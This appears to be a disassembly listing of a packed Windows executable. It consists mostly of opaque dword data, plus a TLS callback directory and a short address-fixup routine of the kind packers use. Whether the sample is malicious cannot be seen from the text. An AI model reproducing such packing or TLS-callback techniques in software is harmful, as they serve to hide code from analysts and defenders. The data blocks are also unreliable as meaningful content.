		dd 1E5B012Ch, 0A230246h, 1A0F0210h, 5972A246h, 6C033101h
		dd 9C1A5315h, 294B55B6h, 4B525C15h, 0D1022002h,	21A45205h
		dd 15CDA16h, 3450071Dh,	0FE72025Ch, 72600BFh, 6A400A02h
		dd 2071125h, 4D02210Eh,	696A5048h, 99035237h, 26510B0Dh
		dd 8C227049h, 1A1A2947h, 0FE029505h, 314800A0h,	5AFE0A2Dh
		dd 8E022200h, 75011E12h, 11FE6B8Fh, 0A130100h, 112E5223h
		dd 24D32C0Ah, 23F7907h,	400211A0h, 161AAD27h, 372A461Ah
		dd 9E22510Fh, 266265C1h, 0C092E34Bh, 7902362Dh,	5712592Bh
		dd 5202183Ah, 7D052F84h, 27C452Ch, 32051073h, 479A4402h
		dd 0E37326Ch, 37362801h, 54200249h, 1A021A0Eh, 290F151Bh
		dd 0F025244h, 566D3307h, 12050AADh, 0AFE4425h, 323D1B00h
		dd 0DD94502h, 1A500250h, 38122D13h, 456727B2h, 201B1539h
		dd 0E950090Eh, 21A0E13h, 5A1B470Fh, 3C5F0213h, 20A3934h
		dd 316B0C0Fh, 5D381C0Dh, 12957C2Dh, 0D830F02h, 226D0232h
		dd 2690905h, 58020E72h,	0C9181807h, 9B231905h, 0F051E3Bh
		dd 21F5574h, 29FC042h, 11308437h, 7FE0C02h, 2DA73300h
		dd 0C381902h, 6D1E3710h, 13210701h, 0E510719h, 207360Fh
		dd 0D640241h, 439D030Fh, 30180F0Bh, 612D1E57h, 3D0F022Ch
		dd 17620413h, 8A30954h,	163C4629h, 0A3A2009h, 222021Ah
		dd 56264320h, 0B7A2224h, 2E2C4132h, 0C01E7602h,	0B0D0113h
		dd 57C0402h, 65014F9Ch,	33270C10h, 10028FEh, 2D033214h
		dd 1B3B1A55h, 2102480Fh, 9802424Ah, 4380718h, 0CFE8F7Dh
		dd 0FE5D5100h, 33FE001Bh, 0FE0F7100h, 1A020008h, 5220B0Ch
		dd 10024C51h, 3B05551Ch, 821B054Fh, 310009FEh, 2D042202h
		dd 55384F3Eh, 0B05153Ch, 9C024731h, 0FFFFFF0Ah,	0FFh
TlsDirectory	dd 0
TlsEnd_ptr	dd 0
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsCallbacks	; DATA XREF: sub_473D98:loc_475291o
TlsSizeOfZeroFill dd 0
TlsCharacteristics dd 0
TlsIndex	dd 0			; DATA XREF: isk1wxzg:TlsIndex_ptro
TlsCallbacks	dd offset TlsCallback_0	; DATA XREF: isk1wxzg:TlsCallbacks_ptro
		dd 0
; ---------------------------------------------------------------------------
		push	esi
		push	ecx
		mov	esi, eax
		mov	ecx, edx
		sub	ecx, 4
		cld

loc_44F7CA:				; CODE XREF: isk1wxzg:0044F7E1j
		lodsb
		shr	al, 1
		cmp	al, 74h
		jnz	short loc_44F7E0
		mov	eax, [esi]
		bswap	eax
		add	eax, ecx
		mov	[esi], eax
		add	esi, 4
		sub	ecx, 4

loc_44F7E0:				; CODE XREF: isk1wxzg:0044F7D0j
		dec	ecx
		jg	short loc_44F7CA
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8Bh,	0C0h
		dd offset sub_401000
		dd 0D000434Ah, 1, 717E0000h, 93F120D5h,	6481CC1Fh, 0A1B4812Dh
		dd 44661123h, 4E124C28h, 39A7C4Ch, 0AFE84960h, 0BCD29D5Ah
		dd 7799FFFFh, 91B4DC5Ch, 0A6E0A0h, 955F6C0Eh, 924BFF78h
		dd 3C5C1344h, 0BB53FFDh, 6B47D7A8h, 0B464035Dh,	0E00B3015h
		dd 0D8466CC1h, 0DF440085h, 54528622h, 13F062F6h, 11BF0855h
		dd 911B8B45h, 257388B4h, 4D11D1FEh, 0A0D48123h,	0F631A08Ch
		dd 11A24043h, 0C4928355h, 15D0C40h, 24A22B80h, 0A8C91FC0h
		dd 731DBD06h, 0D1C29F6Eh, 1F846A54h, 1C080056h,	33EDF3B7h
		dd 120190C0h, 1BF0A335h, 46FE873Dh, 0D1BD8DC3h,	9633236Dh
		dd 606710E6h, 3CFA0775h, 1B26040Fh, 63C37B1h, 0C11A8D10h
		dd 0EF863A37h, 34AAF694h, 3C750417h, 4A276A3h, 8D36104Ah
		dd 36980205h, 51A80E76h, 48017E71h, 0B0BC28ABh,	9D250077h
		dd 0F49900A4h, 73DFE951h, 7230EF31h, 14A84630h,	0A38CA0E9h
		dd 3FF0724h, 0F64D847Eh, 0B2EBEBA8h, 4EC01302h,	7E10320Dh
		dd 3D211ACFh, 80F230C8h, 32C1B540h, 0C9245890h,	0C7303115h
		dd 700A4F1Ah, 0A2006831h, 0A85AF8BBh, 12D5CB30h, 368D318Ah
		dd 5AA030C8h, 68387489h, 0F6A7356Ch, 0D70E4E14h, 0EB0E36C9h
		dd 0A101B24Ah, 39803615h, 5351C448h, 0C7DAE681h, 0E5317887h
		dd 0DFEDEA50h, 0F1767F89h, 0D16394CDh, 652ACF83h, 0F9BD92C8h
		dd 24318084h, 0A0CAF83Eh, 42128491h, 8B6FB864h,	4D689C05h
		dd 22A412E0h, 42215E94h, 822D34E3h, 9190E466h, 8B6B5080h
		dd 672A328Dh, 21EA4855h, 38D71F42h, 0FD2280h, 67882D1Ah
		dd 1019082Eh, 354A3E03h, 0DFF83A29h, 48DF026Ch,	0C807D00h
		dd 0A8D9A70Bh, 916ADh, 4E3BF4C9h, 0D002DD3h, 4AD0C2E2h
		dd 0E055C986h, 5A0C45A8h, 0C5FCE560h, 0EE262F57h, 1D081A7Ch
		dd 0C54F596Dh, 6ED63870h, 38DC81EBh, 47A10440h,	2C3703BBh
		dd 9AC8EBA4h, 6CD76690h, 0AC031B81h, 51831C72h,	53EBE5Ch
		dd 0D3AEFBBFh, 3B4B842Ah, 0AFAA69D6h, 702746A1h, 0BEBBB5A8h
		dd 52298541h, 8657B368h, 596C33EDh, 5B409ED3h, 0A7B17E9Ch
		dd 4C72AA28h, 8A54C449h, 0C329AE01h, 38C8D05h, 3F8B38A8h
		dd 4E5F700Fh, 2B411D61h, 25A9F4E9h, 5A63993Ch, 0CE413964h
		dd 73497002h, 0E2F1C509h, 62CBBBACh, 0BD5B924Bh, 9F0D57Eh
		dd 83CB99F3h, 0FCB50144h, 108DA4E2h, 0AC92DE14h, 87C6571Bh
		dd 3878520Fh, 2E2707D9h, 52B5314Eh, 0BBC20BB4h,	629F05A0h
		dd 0F62628D3h, 0C6E1E283h, 4AA48B90h, 398076A0h, 2403D1C7h
		dd 471BDC36h, 0A698984Fh, 8D0FD76h, 1950C447h, 0B9DD80E7h
		dd 11D901D3h, 7B1CA115h, 7CA24BCAh, 0CF62683Bh,	800CBA28h
		dd 0C6B36EB9h, 0B6CCE04h, 54AB9155h, 59B0A408h,	6170BB0Ch
		dd 6E820CA2h, 40B618DAh, 0B3FFA2DCh, 0C25001E6h, 2698306Bh
		dd 0B45C936Dh, 4362571h, 480E540h, 5188B28h, 301D6330h
		dd 9FAE5182h, 0C0511A4Ah, 9F21F60Bh, 0BAEA81Bh,	0C447450Ch
		dd 2A144009h, 0A37F5006h, 443E105Dh, 1C8A73Ah, 438A9107h
		dd 3883DB1Dh, 0B71BA1F0h, 0C3014E0Fh, 0C1FF3A10h, 0ACD9025h
		dd 91A3903h, 5616DB66h,	64E04678h, 0A754D23h, 36DC1268h
		dd 386CE7B0h, 62B9A98h,	0B5060141h, 7D290C52h, 0E0A40307h
		dd 6C660487h, 0A6E540AAh, 24960D96h, 0A2C20232h, 4CF92F1Ah
		dd 20DB290Ah, 0DC02B5B5h, 86A403C5h, 3FA80F27h,	1A3D2A4Eh
		dd 90459488h, 8010C454h, 50BA21CEh, 10A2D5EDh, 0DEA8CEFBh
		dd 3D2DFD8Dh, 0F949729Fh, 0DE52989Eh, 21955458h, 28F860C0h
		dd 0A75580A2h, 8A71650Ch, 0E9238144h, 622A14E6h, 0FB590D94h
		dd 10021689h, 802B80C8h, 0C1C94C06h, 0D1838051h, 9BE47880h
		dd 10A2C434h, 7886D43h,	0D798F18Ch, 98F1A24Dh, 22844873h
		dd 8394D9E0h, 0CF02C298h, 0D330B818h, 0AD902CC7h, 4760A6E1h
		dd 0B08820D6h, 62339399h, 3613A38Eh, 145C9050h,	72BDA83h
		dd 0ACC900CDh, 0FDD28EEDh, 4D14E610h, 0E853F40Eh, 64006414h
		dd 8B28008Ah, 0DB83C54Eh, 24099A4Eh, 40D1E5Eh, 9A490E84h
		dd 0A2E31A4h, 2809151Ch, 0F361016h, 919C62FBh, 80B95F80h
		dd 28A2422h, 56E4D703h,	16082685h, 19340A65h, 7A850EAh
		dd 1411318Ah, 0D30B1387h, 29F2940Eh, 0C537F8FFh, 93C9884h
		dd 91B1CE24h, 3689E440h, 728B7EC5h, 1B2E41C4h, 0BCB5FC54h
		dd 0E6CB081h, 6231556h,	97005FE3h, 0F95FB109h, 0E41D537h
		dd 2C2D63F4h, 0FC70E0ECh, 848542Ah, 309F2392h, 0B5045E7Ah
		dd 0F07EBD1h, 978B8EA5h, 302FB80h, 0DFB73112h, 0EA27B4C4h
		dd 0CCF6A227h, 260C1058h, 44A02CEh, 6701041Fh, 68B63413h
		dd 0EBCEABAAh, 0C4E32B87h, 4E02E7Eh, 7C308F40h,	0F218CFDh
		dd 37E97FE4h, 55B8EBA9h, 1C22E4A8h, 0C797E029h,	0E651365Eh
		dd 4ECAD2E9h, 0B1C0A0F8h, 3D6C422Eh, 0AB0594F6h, 54051781h
		dd 60FFC452h, 90F03809h, 883066Eh, 34E3EB04h, 80D43E7h
		dd 667381Bh, 0DE227940h, 2556157Ch, 882AF951h, 0CCB0518Eh
		dd 0FEF56724h, 0F7F1E24Eh, 0D5D59C4Dh, 7B2B7586h, 0E6C11958h
		dd 4C8E142h, 8629F8A8h,	47C27815h, 0F0E92108h, 6F28CA26h
		dd 0FD7D92A4h, 97F86056h, 0D07A5C1Dh, 0ECF04777h, 0D049D4FFh
		dd 29CE0F47h, 7235BADDh, 0DC61BF3Ch, 2A6751Bh, 0EC600166h
		dd 0B490A903h, 0B9756FA5h, 0B1B44030h, 0FD7BA8F3h, 42BBBB71h
		dd 6941751Eh, 8E7A56FFh, 0C65E6870h, 6A70B1Dh, 0AB18E7B1h
		dd 9C5DAD45h, 31E9A69h,	9E853A08h, 3D8B4C6Ah, 9A444404h
		dd 0B52D4F46h, 38E0EE18h, 15952042h, 3AB94901h,	0E98DCF72h
		dd 293AD519h, 82732A86h, 8C1CC5C1h, 933EE05Ah, 0B43085FEh
		dd 889704E4h, 0E9B293Dh, 7AE04836h, 5FFBF881h, 4BF88328h
		dd 0AA9D506Dh, 0FBF6296Dh, 0FF370F0h, 0B42D235Ch, 46A27915h
		dd 0EB1252CBh, 0F1733EACh, 0B57592F6h, 0C289DF60h, 9200C4A0h
		dd 235896Ah, 0D4D8C711h, 1D503C5Ch, 8656312Fh, 5C7CB5E6h
		dd 91015027h, 31031DF7h, 970B87E1h, 5A3363EBh, 40CE0771h
		dd 428818E5h, 5725BA73h, 658DBD90h, 0E320684Fh,	0BA73375Dh
		dd 2849303h, 0B8AA025Eh, 5CE75630h, 8289DA4Fh, 370771B4h
		dd 0A889CCE9h, 491E02F6h, 0BA940A54h, 894968C6h, 77B356C9h
		dd 54BDA40Ah, 14A98A08h, 8F0759E8h, 0B3C5B980h,	428B25D9h
		dd 0C0B9924Ah, 0C00A55A2h, 0A40810C0h, 0FBE8959Bh, 4303C21h
		dd 7B91647Ch, 0FF5E00BCh, 0D68E81F8h, 428721AAh, 0CCCBA3CFh
		dd 0F8D0D091h, 1A3BA354h, 0C9DF4981h, 0B4C529D1h, 0EB6BE2E5h
		dd 0CD37F1ABh, 376E6451h, 0FB2C1671h, 0BB8F8230h, 0DF86E86Fh
		dd 53287B57h, 407B96B3h, 21CCD9D0h, 33680C37h, 0F079496Ch
		dd 8152DD6Dh, 0D828998Bh, 0BEC7DD03h, 1A260438h, 0B402DFB7h
		dd 0E647786h, 5EC53C1Eh, 155852BFh, 88E170DEh, 9FFD78E1h
		dd 0FE08AF45h, 0AC617DE8h, 9972BB7Ah, 0DFA8F292h, 90FB7114h
		dd 0AB06067Dh, 38CBDAA0h, 80109F44h, 6AA191Ch, 70C5FC6Eh
		dd 5A3FFC2Dh, 6D158650h, 21B4C559h, 91EA20Ah, 3B249E4h
		dd 0ACFFDC2Fh, 0E74AE640h, 0C12C6B00h, 2C3949F3h, 0DF88C616h
		dd 6594896Eh, 0E6EBA52Ch, 254D87E1h, 500BE6Fh, 26615A64h
		dd 0BC303A92h, 0E29B1194h, 47180A8Fh, 2B294659h, 29C20C0Ch
		dd 809298C0h, 4B54F6C0h, 62AB546h, 41543121h, 95ACB805h
		dd 1C05BA5Ch, 4AAEAABFh, 0AABF1EFFh, 0A80A1163h, 0CFEC8D2Dh
		dd 9769DA84h
		dd 6B15A682h, 2EC1D026h, 24D79414h, 0E38AB18Ch,	749F50ACh
		dd 460AC399h, 0C2B331DDh, 0C1B79DFh, 0D75072E3h, 8A908C15h
		dd 70B9A84Bh, 0F11AE637h, 2F7A53E6h, 43CAAEF3h,	478FFBAAh
		dd 18275711h, 59A478Fh,	0AEF07D74h, 0CF3DE19Dh,	0E3C0D873h
		dd 3714B914h, 98AB609Eh, 27E093D1h, 711362FEh, 9242C074h
		dd 483DED44h, 0A7752037h, 0CAF3584Ah, 6A299598h, 7582A4F1h
		dd 1798B8A6h, 9BAF0894h, 0B92F1698h, 0BB8DC04Bh, 3F24842h
		dd 3ED9A743h, 4CC12099h, 0AA2B0620h, 6405AD61h,	9FDDAA8Dh
		dd 0EAF087D4h, 0EF32317Ch, 0CA08E9E0h, 5B874885h, 10AD7E82h
		dd 0EF718D01h, 1AA40799h, 3E39F15h, 0F4C68E26h,	291C54B1h
		dd 0CC802D5Ch, 0CCF322ADh, 4646C8ADh, 9F167A4Ah, 8A481652h
		dd 0B13BD0E8h, 69C61643h, 0EE2755C3h, 61BB14D0h, 4EA7437h
		dd 68071B95h, 8B5896E7h, 6A11B50Ah, 0B551A6FDh,	0B59447E1h
		dd 0A31069A9h, 7281E3D1h, 589BF589h, 106DBC3Eh,	67DEE65Dh
		dd 79BEA00Fh, 6709250Ch, 862D66F0h, 0BEC2E1FCh,	78A16E17h
		dd 0CE0A2734h, 0F2357ECDh, 0C32E4CDh, 0E549773Ah, 336BF84h
		dd 0BEF9E2E7h, 78C00293h, 0F8556E59h, 9AA59A1Dh, 96A1857Ah
		dd 0EBA19C08h, 7D858F3Bh, 6F83A00Bh, 143BE842h,	0B2F0BFC6h
		dd 0CE720B8h, 32964F5Ch, 0E4101D44h, 634B7CBFh,	8655A869h
		dd 0AAF52155h, 0E9ED8CFEh, 0B8F815A0h, 432C094Eh, 0E1D68E35h
		dd 28618C1Ah, 0F248EBBCh, 74951C05h, 0C253D8EDh, 800E0EFh
		dd 0A341252Eh, 9C5DA98Dh, 94861A88h, 18F9A20Dh,	0BD95AD45h
		dd 69038EA8h, 1A37F061h, 42899CDFh, 0F5563908h,	99ECB8F9h
		dd 682318E5h, 66D5A57h,	43D65525h, 70DDB9E0h, 29F91E25h
		dd 0E656E28Bh, 96D580DCh, 0EDC8863h, 90ED37B0h,	4010158Eh
		dd 4F7414EDh, 47C3609h,	0A79FF68Bh, 0AA701D68h,	0EEC3442h
		dd 0D9786128h, 0D20A5403h, 0ACADD8C5h, 90B1780h, 0B2328D52h
		dd 989040B7h, 837CA880h, 80ADDC07h, 0CECD9025h,	6FD1DF28h
		dd 0D4A3B64Eh, 0F1E74519h, 8A321B95h, 14C16A34h, 2ED1890h
		dd 0D394DF44h, 9E3640C5h, 5A04324Ah, 0E045AD04h, 7A708D7Ah
		dd 52B07B40h, 0F7C90722h, 542A8881h, 0F513D74Bh, 934D66F9h
		dd 41833D7Ah, 0A2A0A578h, 37C1A540h, 0A9C7A70Bh, 0F6C15BAFh
		dd 3E15575Bh, 0A70ADE54h, 47FA6161h, 0F820C51h,	0A8F69296h
		dd 34405B8Ch, 830C2DF9h, 2ECDA2B5h, 3693068Ch, 386A12DBh
		dd 50462317h, 4A0F83C4h, 2D521453h, 11BA8FD7h, 51602288h
		dd 33334682h, 8684122Ah, 0D360BFC1h, 747A38EAh,	5717D1ACh
		dd 3B53E198h, 0EF8F4ABBh, 5FFB3E04h, 77451B2Bh,	8362F614h
		dd 0B42013Ch, 0C034E98Dh, 387A1408h, 3F78AA1Eh,	87E12357h
		dd 5BAA2E1Fh, 6B3F7565h, 7ABEB550h, 56533D2Dh, 38D8A1EDh
		dd 3B891E84h, 3E2941Ch,	53A14CE7h, 9C9288D3h, 30F34A03h
		dd 8B0BCCC4h, 7CE49CBEh, 565CE831h, 894AA85Ch, 5FE7A19Bh
		dd 3583713Ch, 0CA73137Dh, 3FC4836Dh, 1631A1E5h,	0B92C941Ah
		dd 6A81211Eh, 6FEFCFA5h, 4F8C8565h, 0BECEF32Dh,	0A1AA6269h
		dd 0DF0A8DB4h, 0B57FA949h, 0B306E70Ch, 781EAB12h, 0A58B917h
		dd 0D01B3669h, 3250C9A8h, 925852A2h, 0AE54F115h, 89B2BEC7h
		dd 0C5E6C1h, 78C6FC0Ah,	261C0018h, 0D8573F90h, 91500113h
		dd 0F1637160h, 0F8D08F0h, 0A7D37051h, 3ACA77D8h, 500A47DCh
		dd 54053B85h, 4D6E38C4h, 0D6C534ADh, 7D67CE72h,	789AF3D4h
		dd 0E5DE1FA3h, 0CCDDFA8Ah, 0D18B30DAh, 0B555F8A3h, 0A737A69Bh
		dd 496A671Eh, 28AC1AACh, 0A95084E6h, 80D6E3F0h,	6FF470A9h
		dd 8A8485E2h, 0A8E65A57h, 71E13D0Eh, 87A3111Eh,	912520AEh
		dd 0BD594445h, 0F5CE7F8Ah, 2642E40Ch, 49429D1Eh, 0C60B1CF0h
		dd 0E316D60Ch, 783839BEh, 4A236F1h, 9FE85A61h, 82B7E218h
		dd 2E848636h, 48EC0461h, 56E6E561h, 0A4C55814h,	89DD1B0Ch
		dd 2ED0207Ch, 2053012h,	35374564h, 85C32E0h, 432E36D9h
		dd 995AD016h, 0AD59F0B9h, 0C1F28ACBh, 3E7D33C3h, 3F100D29h
		dd 0AD48FE26h, 82A21B9Fh, 0FA033210h, 0B568554Dh, 6A87EF9Fh
		dd 445CC39h, 7963922Bh,	5996140Dh, 0E7D6D159h, 0DF8507C7h
		dd 418282A3h, 51D82FE5h, 0CAC0D506h, 5EC799FFh,	0BEFB138h
		dd 32AAE842h, 24BE7B80h, 59B90E9Eh, 13B5183Eh, 6C3FDFCFh
		dd 5BD4F002h, 0B98509EFh, 0CD5DB536h, 52D1F201h, 0EAB374E6h
		dd 6E048B59h, 4E0371C1h, 0D44BBCF6h, 91E694BEh,	0A240ACC2h
		dd 0C9FE1339h, 0FA3E60A5h, 8059A231h, 0ECC458D5h, 72C05F05h
		dd 7F990574h, 9A296CFAh, 0C3E36946h, 26931688h,	55F77016h
		dd 0F45DAD89h, 24C5EAB1h, 891A8B81h, 0F535CD67h, 699DEB03h
		dd 540D2591h, 5BB3A3C1h, 0C01DCFFBh, 187A1E64h,	0B265D8E1h
		dd 4AAA0DF8h, 922932D0h, 69C8B9Fh, 0EE17A9DFh, 0A9986D60h
		dd 7EA0B77Eh, 3AA1DA47h, 5A41FB8Bh, 1C05EA29h, 8BAC2FB4h
		dd 748DF9A9h, 2CA1D691h, 7EFF8064h, 0C4D5A930h,	0BA5B50F5h
		dd 0B0706861h, 0D59EF606h, 4F66210Bh, 20786F2h,	0A653D23h
		dd 0C4A64BA7h, 176FF68h, 4ECDE649h, 99A1AE4Ah, 8A70F3E2h
		dd 59787061h, 2A8C8F4Dh, 77E8A85Ah, 40E2A7Bh, 0A1302F98h
		dd 136881EBh, 0C7AED258h, 35B1229Dh, 81F4CC9h, 0A00A1E06h
		dd 0AD50AE1Ch, 2E9B9444h, 594AC6h, 0CB82F874h, 0DF8556C4h
		dd 2D54E6F3h, 0CC7FD869h, 50C40140h, 8B9A903Dh,	6B00E772h
		dd 8963F9EFh, 190D3Bh, 0DF2B77BEh, 58C0D592h, 51B185B5h
		dd 6229547Bh, 0C31F19DFh, 68048DA2h, 5BE3A960h,	518DA504h
		dd 0F2BCC842h, 0F54DC287h, 401D00h, 80707ECCh, 315C9312h
		dd 806BD465h, 0FCA6D9Ah, 5549A2BFh, 0D3B5956Ah,	29B8E2B8h
		dd 1DDA59A9h, 74D7CE1Dh, 5735EF10h, 0F5A34384h,	65380E2Fh
		dd 27197388h, 0D248148Ch, 1A674E68h, 15E6B52Eh,	108D9F3h
		dd 30901509h, 0D9BD88DAh, 9045157Ah, 0B17FD473h, 2584F92Bh
		dd 485B05F8h, 0E0548231h, 87D6FA2Bh, 0CCD6CB4Fh, 9C1FD518h
		dd 52607EFFh, 14880AC3h, 870FF552h, 1895C18Ah, 0A38020AAh
		dd 0AB5E2AB5h, 0DA3BCFCCh, 7BF0302Ch, 1C498C29h, 4953CE6Ah
		dd 0C3478217h, 0A6F75662h, 6BE48120h, 3146E640h, 4A8259EDh
		dd 7D3C440Dh, 27F1E875h, 4D442A31h, 856D45C5h, 768709E4h
		dd 0A059F6FDh, 6A55CC2Dh, 9A1745F2h, 8A2D443Ch,	0EBA245A1h
		dd 5805754h, 94A390Ch, 0D2E9656h, 602975B0h, 8BB48A7Ah
		dd 4FD8AD6Ah, 55984C7Ch, 0BD0ECA8Eh, 0B0BC98A9h, 8CA7B3C2h
		dd 8BD8FF53h, 0E7F26878h, 3B8E862Dh, 3B01E009h,	201803B3h
		dd 10F8C5B1h, 1717B024h, 0B964DDE8h, 9D4FDAB0h,	265663D2h
		dd 842C54FEh, 0CFC8F23h, 0E2227CC6h, 686816A0h,	0A2909748h
		dd 410F5618h, 2D24FAF7h, 0F66D8B0Ah, 4BA2237Eh,	4D415713h
		dd 0EC5F5BBEh, 31DD4F6h, 7C69197Ch, 0EABE9D9h, 0E29B97E7h
		dd 10D82C2h, 576A362Bh,	6FDD1BACh, 0D7A3A202h, 0C5E96148h
		dd 50C4CFFEh, 9C526431h, 78101C40h, 0DCD238D8h,	8A84E62Ah
		dd 357BE7B1h, 0C45B6139h, 9518A56Ch, 0BA2501FAh, 493F88CEh
		dd 0A8D460A0h, 33E8BAC9h, 0A9590066h, 0DC5D2982h, 10F7EE93h
		dd 18BCF7F8h, 0D24F5895h, 840BF88Dh, 0D7178957h, 9686C407h
		dd 22D07924h, 2A146C35h, 0FD708C58h, 0B9C6E3D1h, 0F870263Bh
		dd 3245E0C0h, 593B434h,	3F2893F4h, 22E98834h, 7BB8BA13h
		dd 16F47ECAh, 0D4ADA99Ah
		dd 21B571E9h, 8141797Fh, 97E6F96Bh, 5402F0A9h, 74A44CF2h
		dd 15BE3611h, 43F6B7C1h, 0F5003C9Eh, 227BC7FDh,	8A0A15F7h
		dd 10A0513Dh, 2B8D1108h, 0A62B5A8Eh, 0CE802F39h, 1F3E8D72h
		dd 31B68848h, 2167B87Eh, 451EC926h, 0C5E1A330h,	41FABA3Bh
		dd 8CA26F05h, 95855801h, 99F6EC72h, 7514FA42h, 7DF2EA75h
		dd 0A5E7D429h, 447241AEh, 0B18D35DFh, 0E009CDBDh, 0A004FAEh
		dd 5A0C3055h, 520018F4h, 0B0697020h, 22544EAEh,	51660E92h
		dd 0D12802C6h, 2EB3C8E3h, 34B18941h, 993A94CCh,	49121262h
		dd 6CBB9822h, 0EBACBEE0h, 3404BF81h, 3E1E1ED1h,	8B9EA890h
		dd 414C809Eh, 769C9C22h, 34CD4F00h, 5EA3FE25h, 2E984EE4h
		dd 0E2BC66E0h, 0E38A88E4h, 0E2DE828Eh, 0B16BCD83h, 4F54392Ah
		dd 15634317h, 0B816BD5h, 0BA9A76B5h, 6C2B12CDh,	9E54C49Ch
		dd 248AAAF3h, 4476D5E3h, 0D888E117h, 0C1C3B3AEh, 7F007EA8h
		dd 87D1A838h, 0B42433F0h, 2C960558h, 4602631Eh,	50038C05h
		dd 3D2846A5h, 542A9E9Ch, 1C618438h, 3131751Dh, 0CB07C38h
		dd 780B58E0h, 6922CC4Eh, 68E53204h, 2C4A607Ah, 792B0087h
		dd 44D5B6AFh, 8CA62F8Ch, 9C0C6AFBh, 0DBAB7808h,	31336DF7h
		dd 0FAA6004Bh, 52C53753h, 0CD02C9A9h, 0CCA2BE8Dh, 3CB604ACh
		dd 0CE4FC964h, 90C2D9DCh, 9A1466E6h, 698CF80Ah,	2397EA82h
		dd 23584EACh, 52255BD8h, 0ACA211EBh, 0EA42A11Eh, 1E9B5C11h
		dd 11E925E1h, 311EA260h, 65113226h, 0DE818AA2h,	2AB4E5F1h
		dd 2B986C20h, 0C1418A2Dh, 1E0B392Ch, 0D8FA388Fh, 0CA403401h
		dd 0AB09FD76h, 85A3DBA7h, 0C838FC8Fh, 80A59C02h, 0EAB64F12h
		dd 0FC52B803h, 323F2E60h, 0E10840E6h, 9EC39626h, 0A17C3BC1h
		dd 0B8732CE0h, 4CFFF5D7h, 38843E4Dh, 7C8861FBh,	0D4D45065h
		dd 3B541F65h, 3B362FD6h, 7F920AB3h, 7CFD620Ch, 0B3005F97h
		dd 8D5562E2h, 41FFFB9Ah, 6D455F1Bh, 0F32A9B86h,	387E08DCh
		dd 3AC603D0h, 0A9BE07C2h, 0D605F07Fh, 518D24EDh, 810F33E9h
		dd 0F983FF8Dh, 211DB83h, 32E148F9h, 0E18D8910h,	0BF03FF7Dh
		dd 0AB6D2C42h, 88DDE0D7h, 1BD7844Fh, 0C1975542h, 76D32BC5h
		dd 0A518E872h, 81088307h, 64C4DE0Fh, 0E4B50820h, 153BC1C0h
		dd 89D31CA3h, 10651455h, 77078E2Ch, 4CDBE46Ah, 0E0872AC3h
		dd 38A201F0h, 566DE578h, 34D37C35h, 2AC8E2B0h, 0A560C007h
		dd 6EDD2C79h, 981A2886h, 0F47F08EAh, 681CC61Ah,	1C600A8Fh
		dd 1A77D5AAh, 54EF24FAh, 228AAFD6h, 0AD51C079h,	0D22D1147h
		dd 24A07F0h, 4B28901h, 9024DC08h, 7E03C011h, 0A0424835h
		dd 0AF870DBEh, 0F9ED43Eh, 8A60A695h, 2EC795DEh,	0A45164FCh
		dd 88C26A08h, 817E5526h, 0ACFD05F1h, 8750AB9h, 0C608A08Ch
		dd 601EFE8Eh, 0A430EF72h, 0B8727F07h, 39BC42B2h, 0E846380Ah
		dd 0F5E0FAA9h, 54D52B2Eh, 1874B81Fh, 6D8403BAh,	0A79FCC3Fh
		dd 0AB5A9E1Fh, 2C452776h, 638F338Bh, 50D2970Ch,	0D94A0E64h
		dd 111C351Ch, 3A6B0567h, 2F1E985Fh, 0A282CDCCh,	0E9F8C22Fh
		dd 94318FE5h, 9FCC818Dh, 0C0EE5C03h, 806521FCh,	0B0871AACh
		dd 0C5FC1143h, 0B240E3D4h, 0D85F2B2Ah, 2768AA5Bh, 280DB5D2h
		dd 77FA85CCh, 1B471C72h, 0AFDF15B4h, 0F10494F5h, 722A460Eh
		dd 0E6AB22E8h, 324B8B88h, 33915434h, 0A5703A15h, 0D425D842h
		dd 0BA9A490h, 0CB67FC6Fh, 53B10E3Eh, 3F96138Eh,	0C425D0AAh
		dd 0B47A16E3h, 0DD81A039h, 0FD3A4C01h, 0F218E4BFh, 3108B846h
		dd 81271C75h, 519AC07Ch, 66315Eh, 5610EAh, 2891F10Eh, 3AD97420h
		dd 0AB955820h, 51BA9627h, 0CE0063B3h, 0D409DC02h, 0A39EE802h
		dd 0A4505A00h, 0C821A0B9h, 0CF137106h, 0D51922B1h, 0D54AFD76h
		dd 0D22062B8h, 8A2A7173h, 0E90C8BEBh, 88A27B40h, 6FD4982h
		dd 0CEFB4212h, 5EB7772Ah, 0F7CBB598h, 204C97Eh,	907AEC32h
		dd 4B10846Eh, 9908EFFEh, 0F48F0A55h, 0C69FA520h, 0DD9D07E8h
		dd 0F685E341h, 9619CB41h, 86449A2Ch, 0B0036DD4h, 778E1A91h
		dd 48AC3509h, 77841AA5h, 3AAA8985h, 0A68C0C95h,	0ED398253h
		dd 6CDA091h, 76ABBB94h,	4E2D4D49h, 0BDF09EDFh, 0B3012795h
		dd 0EC6B0D37h, 9BA7292Eh, 0DDE2D57Ah, 0B94F6319h, 9FC05782h
		dd 0F823E03Ch, 0CCBBF42Ch, 0CB1A059Ch, 938ACB3h, 302456A8h
		dd 4B3B1623h, 8DA84AA4h, 0EA8DD06h, 334812EBh, 99A83E4Ch
		dd 46DD9E96h, 8FDC768Fh, 25341A3h, 9A8638B5h, 0E6F87135h
		dd 56D8E28h, 237A538Fh,	6E273455h, 38B0D510h, 63B1ACDAh
		dd 699318E2h, 5A90804Ah, 3D7AC4ACh, 24C2861Ch, 0AACA3B54h
		dd 0E1198548h, 0BAF78809h, 31844C46h, 672F5F4Bh, 9A37AC42h
		dd 0A02A8D05h, 6DD6B501h, 0C7CDDEA5h, 0D47324Ah, 0C46D1251h
		dd 6E0B490h, 229AFFFEh,	0F45B64AAh, 0A702134Fh,	38CA680Ch
		dd 0CC0C941Dh, 0E32C7282h, 5D0830B4h, 740A58D4h, 0C0F222D7h
		dd 102A2EF4h, 552C624h,	0D6B68BAh, 0C4B160D8h, 2E804E93h
		dd 8BCF15C8h, 4711430h,	10BA6600h, 5E2E8962h, 243F86B5h
		dd 0DDBEA7Fh, 4EE0904h,	874D46A2h, 715A71D8h, 6B013501h
		dd 1A850AB4h, 0F51F747Dh, 0FD462AEFh, 309A01B3h, 0C319A01Bh
		dd 0D0F38E9Ah, 4A031074h, 4588C94Bh, 0B985A0Eh,	0ACC3EA9Bh
		dd 315CB9AAh, 0D665564Fh, 207BD81Dh, 0CA7A9189h, 9E2E81A3h
